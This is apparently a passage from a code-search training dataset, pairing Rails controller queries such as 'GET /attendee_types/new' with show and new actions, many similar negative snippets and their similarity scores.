unless model.reference_mode_kinds.blank?\n end\n end\n \n builder.to_xml\n end" ]
[ "0.7203837", "0.6537271", "0.6359113", "0.6330247", "0.61576325", "0.5946851", "0.5835244", "0.5793618", "0.5789072", "0.5780177", "0.57690406", "0.570984", "0.56481564", "0.5633083", "0.5631236", "0.55651903", "0.55643475", "0.5538239", "0.55378455", "0.5525181", "0.54868585", "0.5485074", "0.54797024", "0.5470415", "0.5442299", "0.543508", "0.5424922", "0.5415824", "0.5414274", "0.54135156", "0.5411064", "0.5405303", "0.53932065", "0.53841615", "0.53764325", "0.5362961", "0.5355491", "0.5352903", "0.53284645", "0.53277826", "0.5326656", "0.53144485", "0.53050923", "0.5299459", "0.5296729", "0.52895397", "0.5276635", "0.52745956", "0.5273596", "0.5263275", "0.5262988", "0.5262988", "0.52536136", "0.52514064", "0.525067", "0.525067", "0.5247402", "0.5246279", "0.52432567", "0.5230346", "0.5209019", "0.52028024", "0.5199858", "0.5180798", "0.5172464", "0.51708007", "0.5160736", "0.51518846", "0.51511395", "0.5149944", "0.51488364", "0.5148353", "0.5147632", "0.5133966", "0.5132061", "0.51252604", "0.511565", "0.50988567", "0.5098654", "0.5098176", "0.50859696", "0.5084283", "0.5081868", "0.5081868", "0.5081868", "0.5081868", "0.5081868", "0.5081868", "0.5079148", "0.5075971", "0.5051699", "0.50418216", "0.5039603", "0.5038939", "0.50308406", "0.50206226", "0.5016144", "0.5012472", "0.5012413", "0.5009101" ]
0.6391303
2
GET /attendee_types/1 GET /attendee_types/1.xml
def show @attendee_type = AttendeeType.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @attendee_type } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @attendee_type = AttendeeType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attendee_type }\n end\n end", "def appointment_types(params = {})\n scope 'default'\n get('schedule/appointmenttypes/', params)\n end", "def index\n @attendence_types = AttendenceType.all\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @email_type }\n end\n end", "def show\n @event_type = EventType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @event_type }\n end\n end", "def index\n @event_types = EventType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @event_types }\n end\n end", "def show\n @attendee = Attendee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @attendee }\n end\n end", "def show\n @attendee = Attendee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attendee }\n end\n end", "def index\n @attendees = Attendee.paginate(:page => params[:page], :per_page => 40)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @attendees }\n end\n end", "def show\n @event_types = EventType.find(params[:id])\n respond_with @event_type\n end", "def show\n @attendee = Attendees.find(params[:id])\n render json: @attendee\n end", "def show\n @attender = Attender.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attender }\n end\n end", "def index\n @attr_types = AttrType.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @attr_types }\n end\n end", "def show\n @consumer_event_type = ConsumerEventType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @consumer_event_type }\n end\n end", "def show\n @attend = Attend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attend }\n end\n end", "def destroy\n @attendee_type = AttendeeType.find(params[:id])\n @attendee_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(attendee_types_url) }\n format.xml { head :ok }\n end\n end", "def index\n @establishment_types = @event.establishment_types.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @establishment_types }\n end\n end", "def create\n @attendee_type = AttendeeType.new(params[:attendee_type])\n\n respond_to do |format|\n if @attendee_type.save\n flash[:notice] = 'AttendeeType was successfully created.'\n format.html { redirect_to(@attendee_type) }\n format.xml { render :xml => @attendee_type, :status => :created, :location => @attendee_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attendee_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @attendees = Attendee.all\n end", "def index\n @typetaches = @paramun.typetaches\n\n respond_to do |format|\n if @typetaches.empty?\n format.xml { render request.format.to_sym => \"ttypErreurA0\" } ## Aucun Typetache collecté\n else\n format.xml { render xml: @typetaches }\n end\n end\n end", "def index\n @attendees = Attendee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attendees }\n end\n end", "def list_meeting_attendee(meeting_id=nil)\n operation_name=\"List Attendee\"\n @id = meeting_id unless meeting_id.nil?\n xml_value= xml_meetings(@configuration, operation_name,@id)\n \n res = Net::HTTP.start(@configuration[:host]){ |http|\n http.post(\"/WBXService/XMLService\",xml_value)\n }\n xml_data = res.body\n meeting_data = Hash.new\n attend = Attendee.new\n meeting_data= attend.parse_xml(res.body)\n puts res.body\n return meeting_data\n end", "def show\n @attr_type = AttrType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attr_type }\n end\n end", "def show\n\n @outgoing_type = OutgoingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @outgoing_type }\n end\n \n end", "def show\n @incidenttype = Incidenttype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @incidenttype }\n end\n end", "def show\n @event_type = EventType.find(params[:id])\n\n respond_to do |format|\n format.json { render json: event_type_to_json(@event_type) }\n format.xml { render xml: @event_type.to_xml(methods: %i[slug canonical_slug], include: :categories) }\n end\n end", "def show\n @accounttype = Accounttype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @accounttype }\n end\n end", "def show\n @encounter_type = EncounterType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @encounter_type }\n end\n end", "def index\n @realty_types = RealtyType.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @realty_types }\n end\n end", "def index\n @party_types = PartyType.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @party_types }\n end\n end", "def show\n @account_type = AccountType.find(params[:id])\n \n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @account_type.to_xml }\n end\n end", "def show\n @role_types = RoleTypes.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @role_types }\n end\n end", "def show\n @type_expertise = TypeExpertise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @type_expertise }\n end\n end", "def show\n @newsletters_type = NewslettersType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @newsletters_type }\n end\n end", "def show\n @establishment_type = @event.establishment_types.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @establishment_type }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @infraction_types }\n end\n end", "def update\n @attendee_type = AttendeeType.find(params[:id])\n\n respond_to do |format|\n if @attendee_type.update_attributes(params[:attendee_type])\n flash[:notice] = 'AttendeeType was successfully updated.'\n format.html { redirect_to(@attendee_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attendee_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def types\n @client.make_request :get, reports_path\n end", "def show\n @inv_type = InvType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inv_type }\n end\n end", "def index\n @claim_types = ClaimType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @claim_types }\n end\n end", "def index\n @association_types = AssociationType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @association_types }\n end\n end", "def attendee\n\t\t@title = \"Attendees\"\n\t\t@micropost = Micropost.find(params[:id])\n\t\t@people = @micropost.attendee.paginate(page: params[:page])\n\t\trender 'show_attendee'\n\tend", "def index\n @inv_types = InvType.order(\"id desc\").paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @inv_types }\n end\n end", "def index\n @extension_types = ExtensionType.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @extension_types }\n end\n end", "def show\n @employee_type = EmployeeType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @employee_type }\n end\n end", "def show\n @address_type = AddressType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @address_type }\n end\n end", "def index\n @event_types = EventType.all\n respond_with @event_types\n end", "def attendees\r\n @title = \"Attendees\"\r\n @event = Event.find(params[:id])\r\n @attendees = @event.attending_users.paginate(page: params[:page])\r\n render 'show_attending'\r\n end", "def show\n @engineer_type = EngineerType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @engineer_type }\n end\n end", "def show\n @privacy_type = PrivacyType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @privacy_type }\n end\n end", "def show\n @party_type = PartyType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @party_type }\n end\n end", "def show\n @access_type = AccessType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @access_type }\n end\n end", "def index\n @recipe_types = RecipeType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @recipe_types }\n end\n end", "def index\n @incidenttypes = Incidenttype.find(:all, :order => 'name asc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @incidenttypes }\n end\n end", "def show\n @partytype = Partytype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @partytype }\n end\n end", "def show\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @realty_type }\n end\n end", "def type\n @activities = Activity.tagged_with_on(:types,params[:type_name]).page params[:page]\n respond_with @activities\n end", "def show\n @association_type = AssociationType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @association_type }\n end\n end", "def show\n @uri_type = UriType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @uri_type }\n end\n end", "def index\n @event_types = EventType.all.sort { |p1, p2| p1.name <=> p2.name }\n\n respond_to do |format|\n format.json { render json: @event_types }\n format.xml { render xml: @event_types.to_xml({ include: :categories }) }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @infraction_type }\n end\n end", "def show\n @custom_question_attendee = CustomQuestionAttendee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @custom_question_attendee }\n end\n end", "def index\n @program_types = ProgramType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @program_types }\n end\n end", "def show\n @rtype = Rtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rtype }\n end\n end", "def show\n @api_v1_user_types = Api::V1::UserType.all\n end", "def show\n @extension_type = ExtensionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @extension_type }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tenders }\n end\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @remuneration_type }\n end\n end", "def index\n @attendings = Attending.all\n end", "def index\n @invite_requests = InviteRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invite_requests }\n end\n end", "def index\n @provider_types = ProviderType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @provider_types }\n end\n end", "def show\n @meeting = Meeting.find(params[:id])\n if @meeting\n @attendee = @meeting.attendee_with_user(current_user) || Attendee.new\n @attendees = @meeting.attendees.find_all_by_rsvp(\"Yes\")\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @meeting }\n end\n end", "def show\n @order_types = OrderType.all\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @order_type }\n end\n end", "def show\n @league_type = LeagueType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @league_type }\n end\n end", "def show\n @hr_attendence = Hr::Attendence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hr_attendence }\n end\n end", "def show\n @event_type = EventType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_type }\n end\n end", "def index\n @attendances = Attendance.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @attendances }\n end\n end", "def set_attendence_type\n @attendence_type = AttendenceType.find(params[:id])\n end", "def appointment_type(params = {})\n appointment_type = params.delete :uuid\n\n response =\n default_scope.get(\"schedule/appointmenttypes/#{appointment_type}\") do |request|\n request.params = params\n end\n\n JSON.parse(response.body)\n end", "def show\n @recipe_type = RecipeType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @recipe_type }\n end\n end", "def show\n @notification_type = NotificationType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @notification_type }\n end\n end", "def show\n @role_type = RoleType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @role_type }\n end\n end", "def index\n @subscription_types = SubscriptionType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @subscription_types }\n end\n end", "def index\n @attend_events = AttendEvent.all\n end", "def index\n @email_types = EmailType.all\n end", "def show\n @attend = Attend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attend }\n end\n end", "def show\n @agendaitemtype = Agendaitemtype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agendaitemtype }\n end\n end", "def request(method, params)\n response = PARSER.xml_in(http_get(request_url(method, params)), { 'keeproot' => false,\n 'forcearray' => %w[List Campaign Subscriber Client SubscriberOpen SubscriberUnsubscribe SubscriberClick SubscriberBounce],\n 'noattr' => true })\n response.delete('d1p1:type')\n response\n end", "def index\n @tender_methods = TenderMethod.scopied.page(params[:page]).per(25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tender_methods }\n end\n end", "def show\n @item_type = ItemType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_type }\n end\n end", "def show\n @ticket_type = TicketType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ticket_type }\n end\n end", "def show\n @email_type_list = EmailTypeList.find(params[:id])\n\tend", "def index\n @search = EmailType.search(params[:search])\n @email_types = @search.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # indexoo.html.erb\n format.xml { render :xml => @email_types }\n end\n end", "def new\n @attendee = Attendee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @attendee }\n end\n end", "def show\n @fault_type = FaultType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fault_type }\n end\n end", "def show\n @entry_mail_type = EntryMailType.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @entry_mail_type }\n end\n end", "def show\n @claim_type = ClaimType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @claim_type }\n end\n end", "def show\n @attendence = Attendence.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attendence }\n end\n end", "def show\n @flag_type = FlagType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @flag_type }\n end\n end", "def new\n @attend = Attend.new\n \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attend }\n end\n end" ]
[ "0.6403167", "0.6355725", "0.62875587", "0.6124446", "0.61237556", "0.6085812", "0.60768557", "0.60560524", "0.59996545", "0.5975472", "0.59401035", "0.5921132", "0.5895939", "0.58937913", "0.58750427", "0.58719003", "0.5846531", "0.5844924", "0.58394295", "0.5831366", "0.5829848", "0.58145654", "0.57497925", "0.5746088", "0.5738875", "0.57187957", "0.57178503", "0.5711761", "0.57078665", "0.56989914", "0.5690316", "0.56816876", "0.5667896", "0.5666739", "0.5666317", "0.56379205", "0.5635261", "0.5632988", "0.5621338", "0.5614118", "0.560101", "0.559652", "0.55793315", "0.55749685", "0.5570918", "0.5547453", "0.5539064", "0.5533231", "0.5522353", "0.5522268", "0.5521128", "0.5516937", "0.5515429", "0.55091035", "0.5505266", "0.5500331", "0.54809606", "0.54790837", "0.5478373", "0.54700714", "0.5464936", "0.5462393", "0.5442612", "0.54388446", "0.54338956", "0.5432752", "0.54253197", "0.54092205", "0.5408946", "0.53923714", "0.5391556", "0.53911823", "0.53889596", "0.53859746", "0.5377022", "0.53730136", "0.53708506", "0.53652513", "0.5364662", "0.53511447", "0.5345776", "0.53415674", "0.5339689", "0.5337872", "0.5328955", "0.5324695", "0.53213423", "0.53184557", "0.53148884", "0.5312252", "0.5312074", "0.53109086", "0.5309817", "0.5308122", "0.53079754", "0.5303467", "0.5295465", "0.5294862", "0.5290512", "0.52879727" ]
0.73962736
0
GET /attendee_types/new GET /attendee_types/new.xml
def new @attendee_type = AttendeeType.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @attendee_type } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @attendee_type = AttendeeType.new(params[:attendee_type])\n\n respond_to do |format|\n if @attendee_type.save\n flash[:notice] = 'AttendeeType was successfully created.'\n format.html { redirect_to(@attendee_type) }\n format.xml { render :xml => @attendee_type, :status => :created, :location => @attendee_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attendee_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @email_type = EmailType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @email_type }\n end\n end", "def new\n @attendee = Attendee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attendee }\n end\n end", "def new\n @attendee = Attendee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attendee }\n end\n end", "def new\n @event_type = EventType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @event_type }\n end\n end", "def new\n @attendee = Attendee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @attendee }\n end\n end", "def new\n @attr_type = AttrType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attr_type }\n end\n end", "def new\n @attender = Attender.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attender }\n end\n end", "def new\n @partytype = Partytype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partytype }\n end\n end", "def new\n @party_type = PartyType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @party_type }\n end\n end", "def new\n @attendee = Attendee.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def new\n @inv_type = InvType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inv_type }\n end\n end", "def new\n @incidenttype = Incidenttype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @incidenttype }\n end\n end", "def new\n @newsletters_type = NewslettersType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newsletters_type }\n end\n end", "def new\n @role_types = RoleTypes.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role_types }\n end\n end", "def new\n @uri_type = UriType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uri_type }\n end\n end", "def new\n @attend = Attend.new\n \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attend }\n end\n end", "def new\n @rtype = Rtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rtype }\n end\n end", "def new\n \n @outgoing_type = OutgoingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @outgoing_type }\n end\n \n end", "def new\n @encounter_type = EncounterType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @encounter_type }\n end\n end", "def new\n @address_type = AddressType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @address_type }\n end\n end", "def new\n @attendee = Attendee.new\n @registration_in_progress = false\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attendee }\n end\n end", "def new\n @privacy_type = PrivacyType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @privacy_type }\n end\n end", "def new\n @newtype = params[:newtype]\n @ptbudget = Ptbudget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptbudget }\n end\n end", "def new\n @accounttype = Accounttype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @accounttype }\n end\n end", "def new\n @type_expertise = TypeExpertise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @type_expertise }\n end\n end", "def new\n @consumer_event_type = ConsumerEventType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @consumer_event_type }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @infraction_type }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tender }\n end\n end", "def new\n @association_type = AssociationType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @association_type }\n end\n end", "def new\n @town_type = TownType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @town_type }\n end\n end", "def new\n @class_attendee = ClassAttendee.new\n end", "def new\n @provider_type = ProviderType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider_type }\n end\n end", "def new\n @realty_type = RealtyType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @realty_type }\n end\n end", "def new\n @creator_type = CreatorType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @creator_type }\n end\n end", "def create\n @attendee = Attendee.new(params[:attendee])\n\n respond_to do |format|\n if @attendee.save\n format.html { redirect_to(@attendee) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "def new\n @role_type = RoleType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role_type }\n end\n end", "def new\n @item_type = ItemType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_type }\n end\n end", "def new\n @access_type = AccessType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @access_type }\n end\n end", "def new\n @notification_type = NotificationType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notification_type }\n end\n end", "def new\n @recipe_type = RecipeType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @recipe_type }\n end\n end", "def new\n @ticket_type = TicketType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ticket_type }\n end\n end", "def new\n @establishment_type = @event.establishment_types.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @establishment_type }\n end\n end", "def new\n @extension_type = ExtensionType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @extension_type }\n end\n end", "def new\n @model_type = ModelType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @model_type }\n end\n end", "def new\n @employee_type = EmployeeType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @employee_type }\n end\n end", "def new\n @tender_method = TenderMethod.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tender_method }\n end\n end", "def new\n @type = Type.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @type }\n end\n end", "def new\n @flag_type = FlagType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @flag_type }\n end\n end", "def new\n @lookup_type = Irm::LookupType.new(:lookup_level=>'USER')\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_type }\n end\n end", "def new\r\n @item_type = ItemType.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @item_type }\r\n end\r\n end", "def new\n @addresstype = Addresstype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @addresstype }\n end\n end", "def new\n @daytype = Daytype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @daytype }\n end\n end", "def new\n @attend = Attend.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attend }\n end\n end", "def create\n @email_type = EmailType.new(params[:email_type])\n\n respond_to do |format|\n if @email_type.save\n format.html { redirect_to(@email_type, :notice => 'Email type was successfully created.') }\n format.xml { render :xml => @email_type, :status => :created, :location => @email_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @email_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @act_type = ActType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @act_type }\n end\n end", "def new\n @repair_type = RepairType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repair_type }\n end\n end", "def create\n @attendence_type = AttendenceType.new(attendence_type_params)\n\n respond_to do |format|\n if @attendence_type.save\n format.html { redirect_to @attendence_type, notice: 'Attendence type was successfully created.' }\n format.json { render :show, status: :created, location: @attendence_type }\n else\n format.html { render :new }\n format.json { render json: @attendence_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @claim_type = ClaimType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @claim_type }\n end\n end", "def new\n @paper_type = PaperType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @paper_type }\n end\n end", "def create\n @attendee = Attendee.new(attendee_params)\n\n respond_to do |format|\n if @attendee.save\n format.html { redirect_to @attendee, :notice => 'Attendee was successfully created.' }\n format.json { render :json => @attendee, :status => :created, :location => @attendee }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @attendee.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @league_type = LeagueType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @league_type }\n end\n end", "def new\n @content_type = ContentType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content_type }\n end\n end", "def new\n @content_type = ContentType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @content_type }\n end\n end", "def new\n @program_type = ProgramType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @program_type }\n end\n end", "def new\n @invite_request = InviteRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invite_request }\n end\n end", "def create\n @attr_type = AttrType.new(params[:attr_type])\n\n respond_to do |format|\n if @attr_type.save\n flash[:notice] = 'AttrType was successfully created.'\n format.html { redirect_to(@attr_type) }\n format.xml { render :xml => @attr_type, :status => :created, :location => @attr_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attr_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @attendence = Attendence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attendence }\n end\n end", "def new\n @typo = Typo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @typo }\n end\n end", "def new\n @transaction_type = TransactionType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transaction_type }\n end\n end", "def new\n @invitee = Invitee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invitee }\n end\n end", "def new\n @alert_trigger_type = AlertTriggerType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alert_trigger_type }\n end\n end", "def new\n @attendance = Attendance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attendance }\n end\n end", "def new\n @engineer_type = EngineerType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @engineer_type }\n end\n end", "def new\n @partyrole = Partyrole.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partyrole }\n end\n end", "def new\n @lotto_type = LottoType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lotto_type }\n end\n end", "def new\n @fault_type = FaultType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fault_type }\n end\n end", "def new\n @custom_question_attendee = CustomQuestionAttendee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @custom_question_attendee }\n end\n end", "def new\n @administration_email_template = Administration::EmailTemplate.new\n @template_types= Administration::EmailTemplateType.all\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @administration_email_template }\n end\n end", "def new\n @pay_type = PayType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pay_type }\n end\n end", "def new\n @invite = Invite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invite }\n end\n end", "def new\n @sitetype = Sitetype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sitetype }\n end\n end", "def new\n @rule_type = RuleType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render 